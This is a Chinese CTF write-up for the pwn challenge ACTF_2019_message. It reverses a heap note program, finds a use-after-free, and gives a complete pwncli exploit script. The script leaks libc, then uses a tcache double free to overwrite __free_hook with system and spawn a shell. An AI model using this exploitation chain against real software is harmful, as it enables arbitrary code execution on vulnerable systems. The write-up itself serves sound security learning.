首页 > 其他分享 >buuoj-pwn-ACTF_2019_message

buuoj-pwn-ACTF_2019_message

时间:2022-12-11 00:22:05浏览次数:36  
标签:__ libc chunk free v1 add 2019 pwn message

buuoj-pwn-ACTF_2019_message

总结

  • 低版本存在uaf时优先考虑double free
  • 给信号注册函数的函数signal()

逆向分析

glibc版本

ubuntu18.04也就是glibc2.27

对于这道题,我们只需要知道该版本的tcache利用没啥限制,直接double free就好了

结构体typedef

简单逆向一下就知道结构体如下:

typedef struct message
{
	__int64 size;
	void *chunk_prt;

}chunk_;

关键函数

  • 初始化函数

    unsigned __int64 sub_400911()
    {
      unsigned __int64 v1; // [rsp+8h] [rbp-8h]
    
      v1 = __readfsqword(0x28u);
      setbuf(stdin, 0LL);
      setbuf(stdout, 0LL);
      setbuf(stderr, 0LL);
      signal(14, (__sighandler_t)handler);
      memset(&unk_602060, 0, 0x200uLL);
      alarm(0x3Cu);
      return __readfsqword(0x28u) ^ v1;
    }
    
    void __noreturn handler()
    {
      puts("See you next time. Bye~");
      exit(0);
    }
    

    给14这个信号注册了一个函数handler,现在我们可以查找一下14对应的事件

    编号	信号名称	缺省动作	说明
    1	SIGHUP	终止	终止控制终端或进程
    2	SIGINT	终止	键盘产生的中断(Ctrl-C)
    3	SIGQUIT	dump	键盘产生的退出
    4	SIGILL	dump	非法指令
    5	SIGTRAP	dump	debug中断
    6	SIGABRT/SIGIOT	dump	异常中止
    7	SIGBUS/SIGEMT	dump	总线异常/EMT指令
    8	SIGFPE	dump	浮点运算溢出
    9	SIGKILL	终止	强制进程终止
    10	SIGUSR1	终止	用户信号,进程可自定义用途
    11	SIGSEGV	dump	非法内存地址引用
    12	SIGUSR2	终止	用户信号,进程可自定义用途
    13	SIGPIPE	终止	向某个没有读取的管道中写入数据
    14	SIGALRM	终止	时钟中断(闹钟)
    15	SIGTERM	终止	进程终止
    16	SIGSTKFLT	终止	协处理器栈错误
    17	SIGCHLD	忽略	子进程退出或中断
    18	SIGCONT	继续	如进程停止状态则开始运行
    19	SIGSTOP	停止	停止进程运行
    20	SIGSTP	停止	键盘产生的停止
    21	SIGTTIN	停止	后台进程请求输入
    22	SIGTTOU	停止	后台进程请求输出
    23	SIGURG	忽略	socket发生紧急情况
    24	SIGXCPU	dump	CPU时间限制被打破
    25	SIGXFSZ	dump	文件大小限制被打破
    26	SIGVTALRM	终止	虚拟定时时钟
    27	SIGPROF	终止	profile timer clock
    28	SIGWINCH	忽略	窗口尺寸调整
    29	SIGIO/SIGPOLL	终止	I/O可用
    30	SIGPWR	终止	电源异常
    31	SIGSYS/SYSUNUSED	dump	系统调用异常
    

    可以看出,就是时钟到0后,退出。

    但是这也防止了调试,很奇怪,但是patch一下就好了

  • 菜单

    unsigned __int64 sub_4009A8()
    {
      unsigned __int64 v1; // [rsp+8h] [rbp-8h]
    
      v1 = __readfsqword(0x28u);
      puts("==============================");
      puts("    MESSAGE RECORD SYSTEM     ");
      puts("==============================");
      puts("1. Add message                ");
      puts("2. Delete message             ");
      puts("3. Edit message               ");
      puts("4. Display message            ");
      puts("5. Exit                       ");
      puts("==============================");
      printf("What's your choice: ");
      return __readfsqword(0x28u) ^ v1;
    }
    

    增删改查

  • add函数

unsigned __int64 add()
{
  int i; // [rsp+8h] [rbp-28h]
  int size; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( chunk_num <= 10 )
  {
    puts("Please input the length of message:");
    read(0, buf, 8uLL);
    size = atoi(buf);
    if ( size <= 0 )
    {
      puts("Length is invalid!");
    }
    else
    {
      for ( i = 0; i <= 9; ++i )
      {
        if ( !chunk_arr[i].chunk_prt )
        {
          LODWORD(chunk_arr[i].size) = size;
          chunk_arr[i].chunk_prt = malloc(size);
          puts("Please input the message:");
          read(0, chunk_arr[i].chunk_prt, size);
          ++chunk_num;
          return __readfsqword(0x28u) ^ v4;
        }
      }
    }
  }
  else
  {
    puts("Message is full!");
  }
  return __readfsqword(0x28u) ^ v4;

​ 最多可以申请10个chunk

  • del函数
unsigned __int64 del()
{
  int v1; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( chunk_num <= 0 )
  {
    puts("There is no message in system");
  }
  else
  {
    puts("Please input index of message you want to delete:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( v1 < 0 || v1 > 9 )
    {
      puts("Index is invalid!");
    }
    else
    {
      free(chunk_arr[v1].chunk_prt);
      LODWORD(chunk_arr[v1].size) = 0;
      --chunk_num;
    }
  }
  return __readfsqword(0x28u) ^ v3;
}

​ 存在UAF,此时应该去分析show函数

  • edit函数
unsigned __int64 edit()
{
  int v1; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( chunk_num <= 0 )
  {
    puts("No message can you edit");
  }
  else
  {
    puts("Please input index of message you want to edit:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( LODWORD(chunk_arr[v1].size) && v1 >= 0 && v1 <= 9 )
    {
      puts("Now you can edit the message:");
      read(0, chunk_arr[v1].chunk_prt, SLODWORD(chunk_arr[v1].size));
    }
    else
    {
      puts("Index is invalid!");
    }
  }
  return __readfsqword(0x28u) ^ v3;
}

存在if ( LODWORD(chunk_arr[v1].size) && v1 >= 0 && v1 <= 9 )

  • show函数
unsigned __int64 show()
{
  int v1; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( chunk_num <= 0 )
  {
    puts("No message in system");
  }
  else
  {
    puts("Please input index of message you want to display:");
    read(0, buf, 8uLL);
    v1 = atoi(buf);
    if ( LODWORD(chunk_arr[v1].size) && v1 >= 0 && v1 <= 9 )
      printf("The message: %s\n", (const char *)chunk_arr[v1].chunk_prt);
    else
      puts("Index is invalid!");
  }
  return __readfsqword(0x28u) ^ v3;
}

存在if ( LODWORD(chunk_arr[v1].size) && v1 >= 0 && v1 <= 9 )

不可以直接对释放后的chunk进行show

总结

  • 不可以直接对释放后的chunk进行show
  • add的size无限制
  • 联想double free

漏洞利用

主要思路

  • 直接泄露libc,然后tcache double free打hook即可

过程

  • 泄露libc
#---------leak_libc
add(0x420,'')
add(0x20,'/bin/sh\x00')
free(0)
add(0x30,'')
show(2)
lb = recv_current_libc_addr(0x3ec00a)
log_address_ex2(lb)
libc.address = lb
fh = libc.sym.__free_hook
log_address_ex2(fh)
  • double free

    #--------double free attack _free_hook
    free(3)
    free(2)
    free(2)
    add(0x30,flat(fh))
    
    add(0x30,flat(fh))
    add(0x30,flat(libc.sym.system))
    free(1)
    

EXP

#!/usr/bin/env python3

'''
Author: 7resp4ss
Date: 2022-12-10 23:25:48
LastEditTime: 2022-12-11 00:07:58
Description: 
'''

from pwncli import *

cli_script()

io = gift["io"]
elf = gift["elf"]
libc = gift.libc

filename  = gift.filename # current filename
is_debug  = gift.debug # is debug or not 
is_remote = gift.remote # is remote or not
gdb_pid   = gift.gdb_pid # gdb pid if debug

if gift.remote:
    libc = ELF("./libc-2.27.so")
    gift["libc"] = libc

def cmd(idx):
    sla('choice:',str(idx))

def add(size,cont):
    cmd(1)
    sla('message:',str(size))
    sla('message',cont)

def free(idx):
    cmd(2)
    sla('delete:',str(idx))

def edit(idx,cont):
    cmd(3)
    sl(str(idx))
    sleep(0.01)
    sl(cont)

def show(idx):
    cmd(4)
    sl(str(idx))

#---------leak_libc
add(0x420,'')
add(0x20,'/bin/sh\x00')
free(0)
add(0x30,'')
add(0x30,'')

show(2)
lb = recv_current_libc_addr(0x3ec00a)
log_address_ex2(lb)
libc.address = lb
fh = libc.sym.__free_hook
log_address_ex2(fh)
#--------double free attack _free_hook
free(3)
free(2)
free(2)
add(0x30,flat(fh))

add(0x30,flat(fh))
add(0x30,flat(libc.sym.system))
free(1)




io.interactive()


标签:__,libc,chunk,free,v1,add,2019,pwn,message
From: https://www.cnblogs.com/7resp4ss/p/16972694.html

相关文章

  • pwn | ciscn_2019_s_3
    pwn|ciscn_2019_s_3x64ret2syscall主要参考:https://blog.csdn.net/github_36788573/article/details/103541178感觉ret2syscall比较灵活,哎。frompwnimport*con......
  • pwn | jarvisoj_level3
    pwn|jarvisoj_level3x86ret2libc非常常规的ret2libcexp:frompwnimport*fromLibcSearcher.LibcSearcherimport*context.log_level='debug'elf=ELF('.......
  • pwn3&4
    pwn第二次作业ret2shellcode适用范围没有后门函数有rwx段(目前的初级题目)方式过程将shellcode写入变量中然后栈溢出劫持retaddr然后执行注意:当可用空间不足时she......
  • 机器人跳跃问题(今日头条2019)
    机器人跳跃问题机器人正在玩一个古老的基于DOS的游戏。游戏中有\(N+1\)座建筑——从0到N编号,从左到右排列。编号为0的建筑高度为0个单位,编号为i的建筑高......
  • NCTF2022 - pwn 部分 wp
    总的来说我出的几题不是很难,主要是想把自己感觉有意思的一些东西分享给大家。ezlogin程序设计周大作业稍加改编出的题目。洞在Tea里,有个数组越界写,为了避开​​\x00​​​截......
  • [极客大挑战 2019]PHP1
    [极客大挑战2019]PHP1提示:有一个良好的备份网站的习惯寻找一个备份文件字典,我在github上找的:scopion/dic:渗透字典,框架信息泄露,备份文件泄露,配置文件泄露。字典(gith......
  • Message: session not created: This version of Chromedriver only supports Chrome
    Sessionnotcreatedexception:Message:sessionnotcreated:ThisversionofChromedriveronlysupportsChromeversion88Currentbrowserversionis90.0.4430.85wi......
  • buuoj-[HDCTF2019]Maze
    1.winexe32bitupx1使用脱壳工具这一段是红的,是ida没有为其创建函数堆栈报错的问题,其上一条命令就是常规的动态运算反调试,40102E+1=40102F,在2F处重新生成代码即......
  • vs2017 vs2019秘钥
    VS2017专业版和企业版激活密钥需要的请自取~Enterprise:NJVYC-BMHX2-G77MM-4XJMR-6Q8QFProfessional:KBJFW-NXHK6-W4WJM-CRMQB-G3CDH Visual Studio 2019 Enterprise企......
  • windows2019文件服务器集群,Windows Server2019 故障转移群集
    WindowsServer2019故障转移群集一、前期准备二、故障转移群集安装及设置三、iSCSI存储安装四、为每个节点添加iSCSI存储......